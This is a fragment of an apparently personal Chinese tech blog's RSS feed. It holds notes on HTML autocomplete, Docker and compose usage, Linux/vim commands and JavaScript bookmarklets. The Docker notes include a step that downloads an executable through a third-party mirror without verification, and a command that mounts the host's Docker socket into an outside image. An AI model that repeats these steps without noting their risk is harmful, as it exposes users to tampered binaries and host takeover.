</span></span><span class="line"><span class="cl">   <span class="p">&lt;</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">&#34;submit&#34;</span> <span class="na">value</span><span class="o">=</span><span class="s">&#34;Sign In!&#34;</span><span class="p">&gt;</span> 
</span></span></code></pre></div><p>那<code>autocomplete</code>和<code>autofill</code>有什么区别呢：</p>
<p>我查了下有这样的回答</p>
<ul>
<li><code>autocomplete</code>用于指定浏览器是否应该启用表单自动完成功能，以及提供有关字段中预期信息类型的指导。</li>
<li><code>autofill</code>是浏览器自带的自动填充功能，它会根据用户之前输入过的值来预测用户下一次可能输入的值，并在用户输入时自动填充。<code>autofill</code>不仅考虑了之前输入过的值，还考虑了字段的含义和结构。例如，Google Chrome实现了解析输入字段以猜测其类型和结构。</li>
</ul>
<p>目前我的理解是:<code>autocomplete</code>用来提示浏览器字段的类型，而<code>autofill</code>用来控制是否使用该功能。</p>
<h2 id="use-hidden-fields-for-implicit-information">Use hidden fields for implicit information</h2>
<p>这点对于我来说也是挺新鲜的。才知道尽管有些信息没必要让用户输入，但还是有必要在表单中所包含，以便于密码管理器。</p>
<p>文档中是这样讲的:</p>
<blockquote>
<p>the user agent is allowed to provide the user with autocompletion values, but does not provide any further information about what kind of data the user might be expected to enter. User agents would have to use heuristics to decide what autocompletion values to suggest.</p>
</blockquote>
<h2 id="尾巴">尾巴</h2>
<p>还是第一次看html的文档，不是太能看得下去，因为内容太多了，信息量比较大，但确实有用</p>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://www.chromium.org/developers/design-documents/create-amazing-password-forms/"  target="_blank" rel="noopener" >Create Amazing Password Forms</a></li>
<li><a href="https://www.chromium.org/developers/design-documents/form-styles-that-chromium-understands/"  target="_blank" rel="noopener" >Password Form Styles that Chromium Understands</a></li>
<li><a href="https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#autofilling-form-controls%3A-the-autocomplete-attribute"  target="_blank" rel="noopener" >autocomplete</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Docker学习笔记</title>
      <link>https://ds63.eu.org/2023/learn_docker/</link>
      <pubDate>Sat, 25 Mar 2023 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/learn_docker/</guid>
      <description>docker pull learn</description>
      <content:encoded><![CDATA[<h2 id="命令">命令</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">  <span class="c1"># build并tag</span>
</span></span><span class="line"><span class="cl">  docker build -t imagename .
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># 将build好的image上传到docker hub</span>
</span></span><span class="line"><span class="cl">  docker login -u <span class="nv">$username</span>
</span></span><span class="line"><span class="cl">  docker tag <span class="nv">$imagename</span> <span class="nv">$username</span>/<span class="nv">$imagename</span>
</span></span><span class="line"><span class="cl">  docker push <span class="nv">$username</span>/<span class="nv">$imagename</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># 查看运行的container</span>
</span></span><span class="line"><span class="cl">  docker ps
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="c1"># 查看所有的container</span>
</span></span><span class="line"><span class="cl">  docker ps -a
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="c1"># 查看container的配置情况</span>
</span></span><span class="line"><span class="cl">  docker inspect container-name
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># 直接获取目标容器的启动参数</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  docker run --rm -v /var/run/docker.sock:/var/run/docker.sock assaflavie/runlike target-container-name
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># 可将上述命令设置别名</span>
</span></span><span class="line"><span class="cl">  <span class="nb">alias</span> <span class="nv">drunlike</span><span class="o">=</span><span class="s2">&#34;docker run --rm -v /var/run/docker.sock:/var/run/docker.sock assaflavie/runlike&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># 查看容器的日志</span>
</span></span><span class="line"><span class="cl">  docker logs container-name
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># 显示所有的镜像</span>
</span></span><span class="line"><span class="cl">  docker image ls
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl">  <span class="c1"># 删除容器</span>
</span></span><span class="line"><span class="cl">  docker rm container-name
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># 删除镜像</span>
</span></span><span class="line"><span class="cl">  docker rmi imagename
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># 退出容器后自动删除</span>
</span></span><span class="line"><span class="cl">  docker run --rm  <span class="nv">$imagename</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1"># 为用户添加docker用户组权限</span>
</span></span><span class="line"><span class="cl">  sudo usermod -aG docker your-username
</span></span><span class="line"><span class="cl">  newgrp docker 
</span></span></code></pre></div><h2 id="dockerfile配置">Dockerfile配置</h2>
<ul>
<li>
<p>代理设置</p>
<ul>
<li>让镜像构建过程也走代理：
<pre tabindex="0"><code>ENV http_proxy=http://172.17.0.1:7890
ENV https_proxy=http://172.17.0.1:7890
</code></pre></li>
</ul>
</li>
<li>
<p>dockerignore
新建文件.dockerignore，写入需要忽略的文件，</p>
<p>在Dockerfile中添加一行
<code>COPY .dockerignore .</code></p>
</li>
</ul>
<h2 id="docker-composeyml配置">docker-compose.yml配置</h2>
<ul>
<li>代理设置
<ul>
<li>让容器走代理
<pre tabindex="0"><code>environment:
  - http_proxy=http://172.17.0.1:7890
  - https_proxy=http://172.17.0.1:7890
</code></pre></li>
</ul>
</li>
<li>volume挂载
例：
注：此处所挂载的文件位置与docker-compose.yml文件同级
<pre tabindex="0"><code>  volumes:
    - &#34;./config.json:/app/config.json&#34;
    - &#34;./save.json:/app/save.json&#34;
    - &#34;./warning.json:/app/warning.json&#34;
</code></pre></li>
<li>resart(重启策略)
<table>
<thead>
<tr>
<th>重启策略</th>
<th>重启条件</th>
<th>适用场景</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>restart: always</code></td>
<td>容器退出时，无论正常或异常</td>
<td>始终运行的容器，例如数据库、消息队列</td>
</tr>
<tr>
<td><code>restart: on-failure</code></td>
<td>容器以非零退出代码退出时</td>
<td>处理业务逻辑的容器，例如 Web 服务器、API 服务</td>
</tr>
<tr>
<td><code>unless-stopped</code></td>
<td>容器在停止之前会一直运行</td>
<td></td>
</tr>
</tbody>
</table>
</li>
</ul>
<h2 id="docker-compose-up的四种写法">docker-compose up的四种写法</h2>
<ol>
<li>传统写法：cd到<code>compose.yml</code>所在文件夹位置，再<code>docker-compose up</code></li>
<li>使用绝对路径: <code>docker-compose -f /home/user/project/docker-compose.yml up</code></li>
<li>使用别名: <code>alias project-up=&quot;docker-compose -f /home/user/project/docker-compose.yml up</code> (别名还可以用中文名)</li>
<li></li>
</ol>
<h2 id="在群晖上使用docker">在群晖上使用docker</h2>
<ul>
<li><a href="https://www.cxaim.com/591.html"  target="_blank" rel="noopener" >紧急！解决Docker镜像无法拉取问题！ - 承心识梦</a></li>
<li><a href="https://blog.chai.ac.cn/posts/docker-proxy"  target="_blank" rel="noopener" >为群晖 Container Manager 配置代理 | 柴语言 · ChaiLang</a></li>
<li><a href="https://www.codesky.me/archives/nas-docker.wind"  target="_blank" rel="noopener" >群晖 Docker 服务使用心得 - CodeSky 代码之空</a></li>
<li><a href="https://blog.yanghong.dev/nas-clash-vpn/"  target="_blank" rel="noopener" >NAS系统折腾记 | 设置科学上网环境 - HY&rsquo;s Blog</a></li>
<li><a href="https://www.odszz.com/posts/nas-proxy/"  target="_blank" rel="noopener" >群晖 NAS - 代理设置 | Darren&rsquo;s Blog</a></li>
<li><a href="https://chenhe.me/post/synology-docker-configuration"  target="_blank" rel="noopener" >群晖 Docker 的迷惑配置 - 晨鹤部落格</a></li>
<li><a href="https://www.simaek.com/archives/467/"  target="_blank" rel="noopener" >群晖Non-Root非特权账户执行Docker指令 - 兮陌</a></li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">#创建群组并分配用户：</span>
</span></span><span class="line"><span class="cl">sudo synogroup --add docker
</span></span><span class="line"><span class="cl">sudo synogroup --memberadd docker &lt;username1&gt; &lt;username2&gt; ...
</span></span><span class="line"><span class="cl">sudo synogroup --get docker
</span></span><span class="line"><span class="cl"><span class="c1">#更改docker权限：</span>
</span></span><span class="line"><span class="cl">sudo chgrp docker /var/run/docker.sock
</span></span></code></pre></div><ul>
<li>报错: <code>/usr/local/bin/docker-compose: line 1: Not: command not found</code>
<ul>
<li>我之前在群晖上使用<code>docker-compose</code>都很正常，但某天突然报以上错误。一开始一头雾水，但尝试去找这个文件，发现并不存在。那问题就转变成如果在群晖上安装<code>docker-compose</code>了，搜到<a href="https://www.himiku.com/archives/docker-compose-for-synology-nas.html"  target="_blank" rel="noopener" >原来，群晖也能用 Docker Compose！ - 初之音</a>这篇，摘抄命令如下</li>
</ul>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nv">DOCKER_CONFIG</span><span class="o">=</span><span class="si">${</span><span class="nv">DOCKER_CONFIG</span><span class="k">:-</span><span class="nv">$HOME</span><span class="p">/.docker</span><span class="si">}</span>
</span></span><span class="line"><span class="cl">mkdir -p <span class="nv">$DOCKER_CONFIG</span>/cli-plugins
</span></span><span class="line"><span class="cl"><span class="nv">COMPOSE_VERSION</span><span class="o">=</span><span class="k">$(</span>curl -s https://api.github.com/repos/docker/compose/releases/latest <span class="p">|</span> grep <span class="s1">&#39;tag_name&#39;</span> <span class="p">|</span> cut -d<span class="se">\&#34;</span> -f4<span class="k">)</span>
</span></span><span class="line"><span class="cl">sh -c <span class="s2">&#34;curl -L https://github.com/docker/compose/releases/download/</span><span class="si">${</span><span class="nv">COMPOSE_VERSION</span><span class="si">}</span><span class="s2">/docker-compose-`uname -s`-`uname -m` &gt; </span><span class="nv">$DOCKER_CONFIG</span><span class="s2">/cli-plugins/docker-compose&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># or </span>
</span></span><span class="line"><span class="cl">sh -c <span class="s2">&#34;curl -L https://mirror.ghproxy.com/https://github.com/docker/compose/releases/download/</span><span class="si">${</span><span class="nv">COMPOSE_VERSION</span><span class="si">}</span><span class="s2">/docker-compose-`uname -s`-`uname -m` &gt; </span><span class="nv">$DOCKER_CONFIG</span><span class="s2">/cli-plugins/docker-compose&#34;</span>
</span></span><span class="line"><span class="cl">chmod +x <span class="nv">$DOCKER_CONFIG</span>/cli-plugins/docker-compose
</span></span></code></pre></div><h2 id="容器逃逸">容器逃逸</h2>
<ul>
<li><a href="https://bbs.huaweicloud.com/blogs/278683"  target="_blank" rel="noopener" >容器逃逸常用方法-云社区-华为云</a></li>
<li><a href="https://www.kawabangga.com/posts/5785"  target="_blank" rel="noopener" >CVE-2024-21626 从容器内逃逸到宿主机文件系统 | 卡瓦邦噶！</a></li>
</ul>
<h2 id="原理">原理</h2>
<ul>
<li><a href="https://www.kawabangga.com/posts/4224"  target="_blank" rel="noopener" >Docker (容器) 的原理 | 卡瓦邦噶！</a></li>
</ul>
<h2 id="搭建私有docker仓库">搭建私有docker仓库</h2>
<ul>
<li><a href="https://blog.fatedier.com/2016/05/16/install-private-docker-registry/"  target="_blank" rel="noopener" >搭建私有docker仓库</a></li>
</ul>
<h2 id="时间线">时间线</h2>
<h3 id="2023年5月18日">2023年5月18日</h3>
<p>Docker官方仓库域名被墙，国内已无法正常访问。</p>
<h3 id="2024年6月8日">2024年6月8日</h3>
<p>这几天国内不少镜像站被关停了,唉</p>
<h3 id="2024年7月12日">2024年7月12日</h3>
<ul>
<li><a href="https://kebingzao.com/2019/02/22/docker-container-proxy/"  target="_blank" rel="noopener" >docker 容器内使用宿主机的代理配置 | Zach Ke&rsquo;s Notes</a></li>
<li><a href="https://www.moralok.com/2023/06/13/how-to-configure-proxy-for-terminal-docker-and-container/"  target="_blank" rel="noopener" >如何为终端、docker 和容器设置代理 | Moralok</a></li>
</ul>
<h2 id="2024年8月11日">2024年8月11日</h2>
<ul>
<li><a href="https://martinheinz.dev/blog/111"  target="_blank" rel="noopener" >Recent Docker BuildKit Features You&rsquo;re Missing Out On | Martin Heinz | Personal Website &amp; Blog</a>
<ul>
<li><code>docker buildx debug</code></li>
</ul>
</li>
</ul>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://blog.minirplus.com/12138/"  target="_blank" rel="noopener" >如何更新docker容器镜像</a></li>
<li><a href="https://help.aliyun.com/document_detail/60750.htm"  target="_blank" rel="noopener" >官方镜像加速</a></li>
<li><a href="https://anthonysun256.github.io/docker-proxy-complete-solution/"  target="_blank" rel="noopener" >Docker Container 代理配置一本通</a></li>
<li><a href="https://blog.csdn.net/qq_34939308/article/details/105202336"  target="_blank" rel="noopener" >docker run &ndash;rm 选项详解</a></li>
<li><a href="https://blog.haohtml.com/archives/31298"  target="_blank" rel="noopener" >利用代理拉取docker镜像 | 学习笔记</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Linux学习笔记</title>
      <link>https://ds63.eu.org/2023/linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link>
      <pubDate>Sun, 19 Mar 2023 18:38:50 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid>
      <description>Linux学习笔记</description>
      <content:encoded><![CDATA[<h2 id="linux命令">Linux命令</h2>
<ul>
<li><code>ctrl + C</code> 打断执行</li>
<li><code>pwd</code> 输出当前位置</li>
<li><code>cmd1;cmd2</code> 首先运行命令1，然后运行命令2</li>
<li><code>cmd1&amp;&amp;cmd2</code> 仅在命令1成功结束时才运行命令2</li>
<li><code>cmd1||cmd2</code> 仅当命令1失败时才运行命令2</li>
<li><code>strace</code>  追踪程序系统调用</li>
<li><code>touch</code> 新建文件,内容为空</li>
<li><code>cat</code>
<ul>
<li><code>cat filename</code> To view a single file</li>
<li><code>cat [filename-whose-contents-is-to-be-copied] &gt; [destination-filename]</code> Copy the contents of one file to another file.</li>
<li><code>cat file1 &gt;&gt; file2</code> Cat command can append the contents of one file to the end of another file.</li>
</ul>
</li>
<li>管道；用<code>|</code>连接两个命令，以前面一个命令的输出作为后面命令的输入
<ul>
<li><code>strace -f gcc a.c 2&gt;&amp;1 | vim -</code> This will pipe both stdout and stderr to vim. The <code>-</code> argument tells vim to read from stdin.</li>
<li><code>strace pmap 152 |&amp; vim - </code>
<code>|&amp;</code> : This is a shorthand for <code>2&gt;&amp;1 |</code> in bash and zsh. It passes both standard output and standard error of one command as input to another.</li>
</ul>
</li>
<li><code>sort -nk 6</code> 依第6列升序排列</li>
<li>执行多次，或循环执行
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">#for i in {1..5}; do  // while true; do</span>
</span></span><span class="line"><span class="cl">&gt;  <span class="nb">command</span> 
</span></span><span class="line"><span class="cl">&gt;done
</span></span></code></pre></div></li>
<li>crontab的使用
<ul>
<li><code>crontab -e</code></li>
<li>注意：crontab运行的环境并不包含docker命令。需要指定完整的路径。</li>
</ul>
</li>
<li><code>lsof -i:端口号</code>查看端口占用情况</li>
<li><code>kill -9 PID</code> 杀掉对应的进程</li>
<li><code>grep</code> (global regular expression)  用于查找文件里符合条件的字符串或正则表达式</li>
<li><code>which</code> 查找安装路径 如<code>which docker</code></li>
<li><code>ls -l</code> 详细信息</li>
<li><code>~/.bashrc</code>是 Bash shell 在每次启动时都会自动执行的一个脚本文件,可以用于设置环境变量、别名和一些其他 Bash shell 配置。
<ul>
<li><code>source /opt/rh/devtoolset-9/enable</code> 更新gcc版本</li>
<li>export PS1=&rsquo;[][\W]$ []&rsquo; 修改PS1变量，让其更加简洁。PS1的默认设置为<code>\[\][\u@\h \W]\$ \[\]</code></li>
</ul>
</li>
<li><code>tar</code>
<ul>
<li><code>tar cvf file.tar *.c</code> creates a tar file called file.tar which is the Archive of all .c files in current directory.</li>
<li><code>tar xvf file.tar</code> extracts files from Archives.</li>
<li><code>z</code>tells tar command that creates tar file using gzip 即<code>tar.gz</code></li>
</ul>
</li>
<li>可以利用 TAB 补全查看所有可用的命令选项(连按两次 TAB 键)</li>
</ul>
<h2 id="汇编相关">汇编相关</h2>
<ul>
<li><code>objdump -d filename</code> print the assembler content of the sections capable of execution.</li>
<li><code>objdump -s filename</code>  print the complete content of all the sections of the file</li>
</ul>
<h2 id="gcc">gcc</h2>
<ul>
<li><code>gcc - E a.c</code> 对a.c进行宏展开</li>
<li>升级gcc版本到gcc9 <a href="https://blog.csdn.net/xunye_dream/article/details/108918316"  target="_blank" rel="noopener" >CentOS7 升级gcc版本到gcc9</a>
<code>source /opt/rh/devtoolset-9/enable</code></li>
<li><code>-static</code> 静态编译，省去动态链接相关的系统调用</li>
</ul>
<h2 id="vim">vim</h2>
<ul>
<li>cmd模式
<ul>
<li><code>:!cmd </code> execute a shell command from within Vim
<ul>
<li><code>!gcc %</code> 编译</li>
<li><code>!xxd</code>  将当前文件转换为十六进制表示并显示在终端中</li>
<li><code>%!xxd</code> 将当前文件的内容通过管道传递给外部命令xxd，并将其输出替换为当前文件的内容</li>
</ul>
</li>
<li><code>:set nu</code> 显示行号</li>
<li><code>:set wrap</code></li>
<li><code>:%!grep execve</code></li>
<li><code>:%! grep -v ENOENT</code></li>
<li><code>:%s/term/another_term/g </code> 替换</li>
</ul>
</li>
<li>visual模式 按v进入
<ul>
<li><code>y</code> 复制选中内容</li>
<li><code>d</code> 删除</li>
</ul>
</li>
<li><code>u</code> undo</li>
</ul>
<h2 id="gdb">gdb</h2>
<ul>
<li>编译时要带<code>-g</code></li>
<li><code>bt</code> :but trace</li>
</ul>
<hr>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://www.geeksforgeeks.org/cat-command-in-linux-with-examples/"  target="_blank" rel="noopener" >Cat command in Linux with examples</a></li>
<li><a href="https://blog.csdn.net/xunye_dream/article/details/108918316"  target="_blank" rel="noopener" >CentOS7 升级gcc版本到gcc9</a></li>
<li><a href="https://jyywiki.cn/OS/2022/"  target="_blank" rel="noopener" >操作系统：设计与实现 (2022 春季学期)</a></li>
<li><a href="https://blog.csdn.net/lc013/article/details/103775702"  target="_blank" rel="noopener" >Linux 定时执行shell 脚本</a></li>
<li><a href="https://www.geeksforgeeks.org/tar-command-linux-examples"  target="_blank" rel="noopener" >tar command in Linux with examples</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>收藏夹的使用</title>
      <link>https://ds63.eu.org/2023/the-use-of-favorites/</link>
      <pubDate>Sat, 18 Mar 2023 23:45:18 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/the-use-of-favorites/</guid>
      <description>收藏夹和JavaScript的结合实现实用小功能</description>
      <content:encoded><![CDATA[<p><strong>偶然发现可以在url中使用JavaScript，这是前提。</strong></p>
<p><strong>日常使用时，有些功能特意为此写个拓展有点小题大作，这时候使用收藏夹即可，方便的同时也增加了可迁移性</strong></p>
<h2 id="bing转google搜索">Bing转Google搜索</h2>
<ul>
<li>描述：我日常搜索引擎是使用bing，但有些时候bing的内容我不是很满意，需要在Google上再次搜索；由于new bing的存在，我不想更换默认搜索引擎，但打开Google，再次搜索这个操作又很麻烦，所以就添加了一条收藏夹</li>
<li>代码详解：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">currentUrl</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">;</span> <span class="c1">//获取当前链接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">reg</span> <span class="o">=</span> <span class="sr">/q=([^&amp;]+)/</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">res</span> <span class="o">=</span> <span class="nx">currentUrl</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="nx">reg</span><span class="p">);</span> <span class="c1">//使用正则表达式进行匹配
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">googleUrl</span> <span class="o">=</span> <span class="s2">&#34;https://www.google.com/search?q=&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">resultUrl</span> <span class="o">=</span> <span class="nx">googleUrl</span><span class="o">+</span><span class="nx">res</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="c1">//拼接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">resultUrl</span><span class="p">,</span><span class="s1">&#39;_self&#39;</span><span class="p">).</span><span class="nx">close</span><span class="p">();</span><span class="c1">//打开新网站，并关闭原网站
</span></span></span></code></pre></div></li>
<li>书签URL
<code>javascript:var currentUrl = window.location.href;var reg = /q=([^&amp;]+)/;var res = currentUrl.match(reg);var googleUrl = &quot;https://www.google.com/search?q=&quot;;var resultUrl = googleUrl+res[1];window.open(resultUrl,'_self').close();</code></li>
<li>PS：正则表达式是让new bing写的，感觉有种ntr的美</li>
<li>PPS：后来我还是改用Google作为默认搜索引擎了。</li>
</ul>
<h2 id="网易云解除歌单限制">网易云解除歌单限制</h2>
<ul>
<li>描述：网易云音乐网页端对歌单显示数量有限制，只显示20条，而我不希望因此下载客户端，于是添加了该书签。</li>
<li>代码：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="o">=</span><span class="s2">&#34;os=pc&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">reload</span><span class="p">();</span><span class="c1">//重新加载网页
</span></span></span></code></pre></div></li>
<li>收藏夹URL
<code>javascript:document.cookie=&quot;os=pc&quot;;window.location.reload();</code></li>
<li>PS: 后来我放弃使用网易云，转而使用Spotify，具体可见<a href="https://ds63.eu.org/2023/rocords-of-two-migrations/"  target="_blank" rel="noopener" >记两次迁移 | EuDs&rsquo;s Blog</a></li>
</ul>
<h2 id="跳转至neodb">跳转至NeoDB</h2>
<ul>
<li>描述：我最近开始使用<a href="https://neodb.social/discover/"  target="_blank" rel="noopener" >NeoDB</a>作为我的书影音标记工具，但我还是会先再豆瓣、Bangumi等网站先看看别人的评论，然后再去<a href="https://neodb.social/discover/"  target="_blank" rel="noopener" >NeoDB</a>标记。于是添加了该书签。</li>
<li>代码：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">currentUrl</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">;</span> <span class="c1">//获取当前链接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">neodbUrl</span> <span class="o">=</span> <span class="s2">&#34;https://neodb.social/search/?q=&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">resultUrl</span> <span class="o">=</span> <span class="nx">neodbUrl</span><span class="o">+</span><span class="nx">currentUrl</span><span class="p">;</span> <span class="c1">//拼接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">resultUrl</span><span class="p">,</span><span class="s1">&#39;_self&#39;</span><span class="p">);</span><span class="c1">//打开
</span></span></span></code></pre></div></li>
<li>收藏夹URL
<code>javascript:var currentUrl = window.location.href;var neodbUrl = &quot;https://neodb.social/search/?q=&quot;;var resultUrl = neodbUrl+currentUrl;window.open(resultUrl,'_self')</code></li>
</ul>
<h2 id="屏蔽google地图">屏蔽google地图</h2>
<p><strong>这条不是书签相关，但看了看只有这里最相关了</strong></p>
<p>最近（2023年11月30日）用google搜一些比较冷门的结果时，排在前面的一般是些广告。点进去发现是人为添加的google map，应该是利用google对自家产品的搜索优化。虽然有点感慨其聪明才智，但忍了一周还是不堪其扰。
我目前的解决方法是修改搜索引擎中的url为</p>
<p><code>{google:baseURL}search?q=+%s+-site:www.google.com/mymaps +-site:www.google.com/maps&amp;{google:RLZ}{google:originalQueryForSuggestion}{google:assistedQueryStats}{google:searchFieldtrialParameter}{google:iOSSearchLanguage}{google:prefetchSource}{google:searchClient}{google:sourceId}{google:contextualSearchVersion}ie={inputEncoding}{google:baseURL}search?q=%s&amp;{google:RLZ}{google:originalQueryForSuggestion}{google:assistedQueryStats}{google:searchFieldtrialParameter}{google:iOSSearchLanguage}{google:prefetchSource}{google:searchClient}{google:sourceId}{google:contextualSearchVersion}ie={inputEncoding}</code></p>
<p>这样的代价是会让搜索框变得很丑，但我没找到更好的解决方法，先凑合这样吧。</p>
<p>PS: 我发现还是防不胜防，对黑产的奇淫巧计甘拜下风。</p>
<p>pss: 今天(2024年8月28日)读到<a href="https://blog.hentioe.dev/posts/google-search-blacklist.html"  target="_blank" rel="noopener" >移除 Google 搜索的低质量结果，屏蔽垃圾内容！（附屏蔽 CSDN 等网站的方法） | 绅士喵</a>，发现uBlacklist更好用</p>
<h2 id="跳转至github-page主页">跳转至Github Page主页</h2>
<p>大部分Github用户，如果他们的Github Page有内容的话，都会在简介中提供链接，但也有的不会。</p>
<p>手动去拼接url太麻烦了，写个扩展是可行，但也有点麻烦，还是用收藏夹来得快。</p>
<ul>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">currentUrl</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span><span class="p">;</span> <span class="c1">//获取当前链接
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">var</span> <span class="nx">GitHubPageUrl</span> <span class="o">=</span> <span class="sb">`https://</span><span class="si">${</span><span class="nx">currentUrl</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">)[</span><span class="mi">3</span><span class="p">].</span><span class="nx">toLowerCase</span><span class="p">()</span><span class="si">}</span><span class="sb">.github.io/`</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">GitHubPageUrl</span><span class="p">,</span><span class="s1">&#39;_self&#39;</span><span class="p">);</span><span class="c1">//打开
</span></span></span></code></pre></div></li>
<li>收藏夹URL
<code>javascript:var currentUrl = window.location.href;var GitHubPageUrl = </code>https://${currentUrl.split(&rsquo;/&rsquo;)[3].toLowerCase()}.github.io/<code>;window.open(GitHubPageUrl,'_self');</code></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>博客搭建</title>
      <link>https://ds63.eu.org/2023/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/</link>
      <pubDate>Mon, 13 Mar 2023 12:50:17 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2023/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/</guid>
      <description>记录博客搭建的过程,及途中遇到的问题和解决方式</description>
      <content:encoded><![CDATA[<h2 id="过程">过程</h2>
<p><em>记录博客搭建的过程</em></p>
<ol>
<li>框架是选用的<a href="https://hexo.io/zh-cn/docs/"  target="_blank" rel="noopener" >Hexo</a>,主题选用的是<a href="https://hexo.fluid-dev.com/docs"  target="_blank" rel="noopener" >Fluid</a>,本地部署十分顺利，跟着教程来就行。</li>
<li>调整配置的时候遇到了问题，我刚开始是直接使用<code>npm install --save hexo-theme-fluid</code>，但改配置的时候虽然有文档，但各项配置的位置不知道是怎么嵌套的，就选择了方式二。</li>
<li>本地配置好之后，要部署到Github Pages上。<a href="https://hexo.io/zh-cn/docs/github-pages"  target="_blank" rel="noopener" >Hexo所提供的教程</a>中，所使用的是<code>Github Action</code> 内置的 token 变量<code>GITHUB_TOKEN</code>。根据<a href="https://docs.github.com/en/actions/security-guidesautomatic-token-authentication?query=PA#using-the-github_token-in-a-workflow"  target="_blank" rel="noopener" >官方源文档的描述</a>,为了防止递归构建发生，使用<code>GITHUB_TOKEN</code>推送的代码不会再次触发任何action。而考虑到我希望后续能进一步触发和进一步了解<code>Github Action</code>,我选择自己设置key。</li>
<li>这个花的时间最多。走了不少弯路，最终是参考了<a href="https://vuepress-theme-reco.recoluan.com/views/other/github-actions.html"  target="_blank" rel="noopener" >使用 GitHub Actions 自动部署博客</a>。</li>
<li>action已经跑成功了，但访问时却发现还是404，检查后发现是自己未<a href="https://docs.github.com/en/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site"  target="_blank" rel="noopener" >Configuring a publishing source for your GitHub Pages site</a>。</li>
<li>添加谷歌验证：
参考了<a href="https://jactorsue.github.io/blog/2018/04/how-blog-on-githubpages-can-be-searched-by-google.html"  target="_blank" rel="noopener" >让Google搜索到搭建在Github Pages上的博客</a>
<ol>
